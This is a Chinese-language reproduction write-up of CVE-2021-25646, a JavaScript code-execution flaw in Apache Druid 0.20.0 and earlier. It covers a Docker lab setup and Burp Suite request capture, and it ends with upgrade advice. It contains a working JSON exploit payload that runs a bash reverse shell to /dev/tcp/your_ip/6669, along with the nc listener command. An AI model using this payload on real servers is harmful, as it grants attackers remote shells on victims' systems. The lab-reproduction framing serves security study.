CVE-2021-25646 Apache Druid 访问控制错误漏洞复现 – 作者:17608406504

0x01 漏洞概述

Apache Druid是美国阿帕奇软件(Apache)基金会的一款使用Java语言编写的、面向列的开源分布式数据库。Apache Druid 0.20.0和更早的版本存在访问控制错误漏洞,该漏洞允许经过身份验证的用户强制Druid运行用户提供的JavaScript代码,并执行服务器进程特权的代码。

0x02 影响版本

Apache Druid 0.20.0及更早的版本

0x03 环境搭建

使用docker环境搭建,安装docker后,拉取镜像到本地,拉取命令如下:

docker pull fokkodriesprong/docker-druid

image-20210616154444377

启动镜像

docker run --rm-i-p8888:8888 fokkodriesprong/docker-druid

image-20210616154515793

0x04 漏洞复现

1.启动镜像后,访问http://ip:8888,进入Apache Druid首页,然后点击左上方Load data。

image-20210616154545968

2.点击Local disk

image-20210616154605609

3.在右边填写以下代码

Base directory:quickstart/tutorial/
File filter:wikiticker-2015-09-12-sampled.json.gz

4.点击 Preview

image-20210616154628799

一路点击 Next

image-20210616160425627直到Filter时,打开Burpsuite Pro进行抓包

image-20210616154707066

image-20210616154741115

5.点击Action->Sent to Reapeter 发送到Repeater模块

image-20210617111745530

替换data数据为

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript","function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/your_ip/6669 0>&1')}",

"dimension":"added",

"":{

"enabled":"true"}

}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

6.直接反弹shell进行测试,在攻击机上使用nc监听,监听命令如下:

nc-lvp6669

7.点击发送,如图所示

image-20210617111456450

8.成功反弹shell到攻击机。

image-20210617111629071

0x05 防护建议

建议将Druid升级到最新版本

目前厂商已发布升级补丁以修复漏洞,补丁获取链接

https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E

来源:freebuf.com 2021-06-24 16:58:05 by: 17608406504

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论